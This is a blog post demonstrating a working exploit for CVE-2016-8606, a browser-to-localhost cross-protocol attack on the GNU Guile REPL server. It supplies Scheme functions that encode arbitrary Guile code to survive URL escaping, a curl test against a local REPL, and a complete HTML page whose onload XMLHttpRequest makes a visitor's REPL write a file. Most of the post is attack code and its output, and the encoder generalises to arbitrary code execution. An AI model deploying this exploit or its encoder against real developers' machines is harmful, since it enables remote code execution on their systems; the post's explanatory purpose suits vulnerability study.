Exploiting CVE-2016-8606
I saw this recently:
GNU Guile, an implementation of the Scheme language, provides a “REPL server” which is a command prompt that developers can connect to for live coding and debugging purposes. The REPL server is started by the ‘--listen’ command-line option or equivalent API. Christopher Allan Webber reported that the REPL server is vulnerable to the HTTP inter-protocol attack as described at <https://en.wikipedia.org/wiki/Inter-protocol_exploitation>, notably the HTML form protocol attack described at <https://www.jochentopf.com/hfpa/hfpa.pdf>. This constitutes a remote code execution vulnerability for developers running a REPL server that listens on a loopback device or private network. Applications that do not run a REPL server, as is usually the case, are unaffected. Developers can work around this vulnerability by binding the REPL server to a Unix-domain socket, for instance by running: guile --listen=/some/file A modification to the REPL server that detects attempts to exploit this vulnerability is available upstream and will be part of Guile 2.0.13, to be released shortly.
A cross-protocol attack from browsers to Guile Scheme repls! Exciting.
But I've seen a lot of misinformation about this. For example,
The default in Guile has been to expose a port over localhost to which code may be passed. The assumption for this is that only a local user may write to localhost, so it should be safe. Unfortunately, users simultaneously developing Guile and operating modern browsers are vulnerable to a combination of an html form protocol attack [1] and a DNS rebinding attack [2]. How to combine these attacks is published in the article "How to steal any developer's local database" [3]. In Guile's case, the general idea is that you visit some site which presumably loads some javascript code (or tricks the developer into pressing a button which performs a POST), and the site operator switches the DNS from their own IP to 127.0.0.1. Then a POST is done from the website to 127.0.0.1 with the body containing scheme code. This code is then executed by the Guile interpreter on the listening port.
I'll demonstrate that this does not require DNS rebinding to work. We
can just use XMLHttpRequest
.
Normally CORS checks happen for XMLHttpRequest
. Browsers will make a
request and check if the response indicates, with
Acess-Control-Allow-Origin
, that the Javascript context can read it.
That request includes our data! We can just pack some Guile code into
the URL of a GET, and Guile will ignore everything it doesn't understand.
There's a hurdle, though: metacharacters in urls will be percent-escaped. Since Guile doesn't speak URL, we'll have to work around this. In particular, we need
- no double-quotes (i.e.. string literals)
- no backslashes or
#
(i.e., no char literals) - no whitespace
(additionally, some symbols will be escaped. for example,
integer->char
will have its >
escaped. We can just avoid these.)
So, we need to transform code to fit these rules. Naturally, I'll write the transformations in Guile.
String literals
We'll walk the tree and replace the string literal abcd
with (string #\a #\b #\c)
:
(define (charify form) (cond [(list? form) (map charify form)] [(string? form) `(string ,@(string->list form))] [else form]))
scheme@(guile-user)> (charify '(string-join (list "abc" "def"))) $3 = (string-join (list (string #\a #\b #\c) (string #\d #\e #\f)))
Char literals
But the number sign in #\a
is url-escaped as well. so we'll bind a
list of the characters in ASCII, and replace each letter with an
indexing into it:
We'll replace
(list #\a #\b)
with the equivalent of
(let ((ascii "...")) (list (list-ref ascii 97) (list-ref ascii 98)))
Ordinarily, we could just use integer->char
, but >
will be percent-escaped.
(define (asciify form) (letrec ([inner-asciify (lambda (form) (cond [(list? form) (map inner-asciify form)] [(char? form) `(list-ref ascii ,(char->integer form))] [else form]))]) `(let ([ascii (reverse (char-set-fold cons (make-list 0) char-set:ascii))]) ,(inner-asciify form))))
Spaces
Finally, we can't have spaces. This is tricky, since we can't just
remove the spaces, because for example (+ 1 2)
would become
(+12)
. But because there's no need for a space before and after
parens, we can use the identity function, replacing
(+ 1 2)
with
(+ ((lambda (x) x) 1) ((lambda (x) x) 2))
and then the spaces can be removed.
(use-modules (srfi srfi-1)) (define (lambdify form) (cond [(list? form) (cond ;; don't lambdify let or letrec, but lambdify the bindings. .... [(member (first form) '(let letrec let*)) `(,(first form) ,(map (lambda (binding) `[,(first binding) ,(lambdify (second binding))]) (second form)) ,@(map lambdify (drop form 2)))] ;; only lambdify the bodies of lambdas [(eq? (first form) 'lambda) `(lambda ,(second form) ,@(map lambdify (drop form 2)))] ;; error on quote, it's tricky to lambdify it. [(eq? (first form) 'quote) (throw 'lambidfy-quote)] ;; otherwise just lambdify everything [else (map lambdify form)])] ;; everything else gets replaced with ((lambda(x)x)y) [else `((lambda (x) x) ,form)]))
scheme@(guile-user)> (lambdify '(+ 1 2)) $11 = (((lambda (x) x) +) ((lambda (x) x) 1) ((lambda (x) x) 2)) scheme@(guile-user)> (lambdify '(let ((a 1)) a)) $12 = (let ((a ((lambda (x) x) 1))) ((lambda (x) x) a))
Trying it out
scheme@(guile-user)> (lambdify (asciify (charify '(string-join (list "abc" "def"))))) $15 = (let ((ascii (((lambda (x) x) reverse) (((lambda (x) x) char-set-fold) ((lambda (x) x) cons) (((lambda (x) x) make-list) ((lambda (x) x) 0)) ((lambda (x) x) char-set:ascii))))) (((lambda (x) x) string-join) (((lambda (x) x) list) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 97)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 98)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 99))) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 100)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 101)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 102)))))) scheme@(guile-user)> (let ((ascii (((lambda (x) x) reverse) (((lambda (x) x) char-set-fold) ((lambda (x) x) cons) (((lambda (x) x) make-list) ((lambda (x) x) 0)) ((lambda (x) x) char-set:ascii))))) (((lambda (x) x) string-join) (((lambda (x) x) list) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 97)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 98)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 99))) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 100)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 101)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 102)))))) $16 = "abc def"
and putting it all together:
(define (elide-spaces string) (string-filter (lambda (char) (not (eq? char #\ ))) string)) (define (escape form) (elide-spaces (with-output-to-string (lambda () (write (lambdify (asciify (charify form))))))))
scheme@(guile-user)> (escape '(string-join (list "abc" "def"))) $7 = "(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)string-join)(((lambda(x)x)list)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)97))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)98))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)99)))(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)100))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)102))))))" scheme@(guile-user)> (let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)string-join)(((lambda(x)x)list)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)97))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)98))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)99)))(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)100))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)102)))))) $8 = "abc def"
I started a Guile repl and tried this with curl
:
[lizzie@empress lizzie]$ guile --listen=37146 GNU Guile 2.0.12 Copyright (C) 1995-2016 Free Software Foundation, Inc. Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'. This program is free software, and you are welcome to redistribute it under certain conditions; type `,show c' for details. Enter `,help' for help. scheme@(guile-user)>
[lizzie@empress lizzie]$ curl "localhost:37146?=(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)string-join)(((lambda(x)x)list)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)97))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)98))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)99)))(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)100))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)102))))))" GNU Guile 2.0.12 Copyright (C) 1995-2016 Free Software Foundation, Inc. Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'. This program is free software, and you are welcome to redistribute it under certain conditions; type `,show c' for details. Enter `,help' for help. ;;; <unknown-location>: warning: possibly unbound variable `GET' ERROR: In procedure #<procedure 2253c40 ()>: ERROR: In procedure module-lookup: Unbound variable: GET Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. ;;; <unknown-location>: warning: possibly unbound variable `/?=' ERROR: In procedure #<procedure 1cbfd40 ()>: ERROR: In procedure module-lookup: Unbound variable: /?= Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. $54 = "abc def" ;;; <unknown-location>: warning: possibly unbound variable `HTTP/1.1' ERROR: In procedure #<procedure 19ceba0 ()>: ERROR: In procedure module-lookup: Unbound variable: HTTP/1.1 Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. ;;; <unknown-location>: warning: possibly unbound variable `Host:' ERROR: In procedure #<procedure 162c1e0 ()>: ERROR: In procedure module-lookup: Unbound variable: Host: Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. ;;; <unknown-location>: warning: possibly unbound variable `localhost:37146' ERROR: In procedure #<procedure 165e720 ()>: ERROR: In procedure module-lookup: Unbound variable: localhost:37146 Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. ;;; <unknown-location>: warning: possibly unbound variable `User-Agent:' ERROR: In procedure #<procedure 16e2c20 ()>: ERROR: In procedure module-lookup: Unbound variable: User-Agent: Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. ;;; <unknown-location>: warning: possibly unbound variable `curl/7.50.3' ERROR: In procedure #<procedure 1769f20 ()>: ERROR: In procedure module-lookup: Unbound variable: curl/7.50.3 Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. ;;; <unknown-location>: warning: possibly unbound variable `Accept:' ERROR: In procedure #<procedure 17c3b20 ()>: ERROR: In procedure module-lookup: Unbound variable: Accept: Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue. ;;; <unknown-location>: warning: possibly unbound variable `*/*' ERROR: In procedure #<procedure 17ef5e0 ()>: ERROR: In procedure module-lookup: Unbound variable: */* Entering a new prompt. Type `,bt' for a backtrace or `,q' to continue.
(notice '$44 = "abc def"' in the middle).
And then, something more relevant: writing to a file on the host.
scheme@(guile-user)> (escape '(with-output-to-file "note.txt" (lambda () (display ">:)\n")))) $9 = "(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)with-output-to-file)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)110))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)111))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)46))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)120))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116)))(lambda()(((lambda(x)x)display)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)62))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)58))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)41))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)10)))))))"
And finally, from a browser:
<script> var host = "http://localhost:37146"; var code = "(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)with-output-to-file)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)110))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)111))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)46))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)120))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116)))(lambda()(((lambda(x)x)display)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)62))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)58))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)41))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)10)))))))"; window.onload = function () { var req = new XMLHttpRequest(); req.open("GET", host + "/?" + code); req.send() console.log("sent!"); } </script>
After I visit that page…
[lizzie@empress lizzie]$ cat note.txt >:)